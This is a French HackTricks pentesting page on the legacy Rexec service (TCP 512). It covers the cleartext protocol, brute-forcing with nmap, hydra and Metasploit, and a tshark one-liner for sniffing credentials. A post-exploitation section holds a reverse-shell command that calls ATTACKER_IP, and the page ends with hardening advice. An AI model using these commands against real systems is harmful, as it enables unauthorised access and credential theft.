512 - Pentesting Rexec
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Rexec (remote exec) est l'un des services r originaux de Berkeley (avec rlogin
, rsh
, …). Il fournit une capacité de commande à distance authentifiée uniquement avec un nom d'utilisateur et un mot de passe en clair. Le protocole a été défini au début des années 1980 (voir RFC 1060) et est aujourd'hui considéré comme insecure par conception. Néanmoins, il est toujours activé par défaut dans certains équipements UNIX / connectés en réseau hérités et apparaît parfois lors de pentests internes.
Port par défaut : TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Tout le trafic – y compris les identifiants – est transmis non chiffré. Quiconque a la capacité de renifler le réseau peut récupérer le nom d'utilisateur, le mot de passe et la commande.
Aperçu rapide du protocole
- Le client se connecte au TCP 512.
- Le client envoie trois chaînes terminées par NUL :
- le numéro de port (en ASCII) où il souhaite recevoir stdout/stderr (souvent
0
), - le nom d'utilisateur,
- le mot de passe.
- Une dernière chaîne terminée par NUL avec la commande à exécuter est envoyée.
- Le serveur répond avec un seul octet d'état de 8 bits (0 = succès,
1
= échec) suivi de la sortie de la commande.
Cela signifie que vous pouvez reproduire l'échange avec rien de plus que echo -e
et nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Si les identifiants sont valides, vous recevrez la sortie de id
directement sur la même connexion.
Utilisation manuelle avec le client
De nombreuses distributions Linux incluent encore le client hérité dans le package inetutils-rexec / rsh-client :
rexec -l user -p password <target> "uname -a"
Si -p
est omis, le client demandera le mot de passe de manière interactive (visible sur le réseau en texte clair !).
Énumération & Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Le rexec-brute
NSE utilise le protocole décrit ci-dessus pour essayer des identifiants très rapidement.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
a un module rexec dédié et reste le bruteforceur hors ligne le plus rapide. medusa
(-M REXEC
) et ncrack
(module rexec
) peuvent être utilisés de la même manière.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Le module lancera un shell en cas de succès et stockera les identifiants dans la base de données.
Sniffing credentials
Parce que tout est en texte clair, les captures réseau sont inestimables. Avec une copie du trafic, vous pouvez extraire des identifiants sans toucher à la cible :
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark, activez Decode As … TCP 512 → REXEC pour voir les champs bien analysés.)
Conseils post-exploitation
- Les commandes s'exécutent avec les privilèges de l'utilisateur fourni. Si
/etc/pam.d/rexec
est mal configuré (par exemplepam_rootok
), des shells root sont parfois possibles. - Rexec ignore le shell de l'utilisateur et exécute la commande via
/bin/sh -c <cmd>
. Vous pouvez donc utiliser des astuces d'échappement de shell typiques (;
,$( )
, backticks) pour enchaîner plusieurs commandes ou créer des shells inversés :
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Les mots de passe sont souvent stockés dans ~/.netrc sur d'autres systèmes ; si vous compromettez un hôte, vous pouvez les réutiliser pour un mouvement latéral.
Renforcement / Détection
- Ne pas exposer rexec ; remplacez-le par SSH. Virtuellement tous les inetd superservers modernes commentent le service par défaut.
- Si vous devez le garder, restreignez l'accès avec des wrappers TCP (
/etc/hosts.allow
) ou des règles de pare-feu et imposez des mots de passe forts par compte. - Surveillez le trafic vers :512 et les lancements de processus
rexecd
. Une seule capture de paquet suffit pour détecter une compromission. - Désactivez
rexec
,rlogin
,rsh
ensemble – ils partagent la plupart du même code et des faiblesses.
Références
- Documentation Nmap NSE
rexec-brute
– https://nmap.org/nsedoc/scripts/rexec-brute.html - Module Rapid7 Metasploit
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.